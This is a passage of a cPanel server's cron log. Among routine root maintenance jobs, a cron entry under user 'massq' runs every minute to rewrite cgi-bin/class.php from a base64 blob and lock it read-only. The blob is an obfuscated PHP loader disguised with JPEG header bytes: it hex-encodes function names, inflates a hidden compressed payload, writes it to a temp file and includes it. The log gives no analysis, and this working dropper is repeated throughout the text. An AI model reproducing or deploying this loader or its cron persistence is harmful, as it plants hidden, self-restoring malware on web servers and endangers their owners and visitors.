fi; chmod 444 "$fp")
Sep  5 02:26:01 server CROND[13989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:26:01 server CROND[13990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:27:01 server CROND[14408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:27:01 server CROND[14409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:27:01 server CROND[14410]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 02:27:01 server CROND[14412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:28:01 server CROND[14788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:28:01 server CROND[14790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:28:01 server CROND[14789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:29:01 server CROND[15164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:29:01 server CROND[15165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:29:01 server CROND[15166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:30:01 server CROND[16138]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:30:01 server CROND[16139]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 02:30:01 server CROND[16142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:30:01 server CROND[16143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:30:01 server CROND[16144]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 02:30:01 server CROND[16141]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 02:30:01 server CROND[16145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:30:01 server CROND[16146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:31:01 server CROND[17037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:31:01 server CROND[17036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:31:01 server CROND[17038]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:32:01 server CROND[17564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:32:01 server CROND[17565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:32:01 server CROND[17567]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:33:01 server CROND[17951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:33:01 server CROND[17952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:33:01 server CROND[17953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:34:01 server CROND[18331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:34:01 server CROND[18332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:34:01 server CROND[18333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:35:01 server CROND[18732]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:35:01 server CROND[18733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:35:01 server CROND[18734]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:35:01 server CROND[18738]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 02:35:01 server CROND[18743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:35:01 server CROND[18740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:35:01 server CROND[18742]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 02:35:01 server CROND[18741]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 02:35:01 server CROND[18744]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 02:36:01 server CROND[19573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:36:01 server CROND[19574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:36:01 server CROND[19572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:37:01 server CROND[20010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:37:01 server CROND[20012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:37:01 server CROND[20013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:38:01 server CROND[20419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:38:01 server CROND[20420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:38:01 server CROND[20421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:39:01 server CROND[20811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
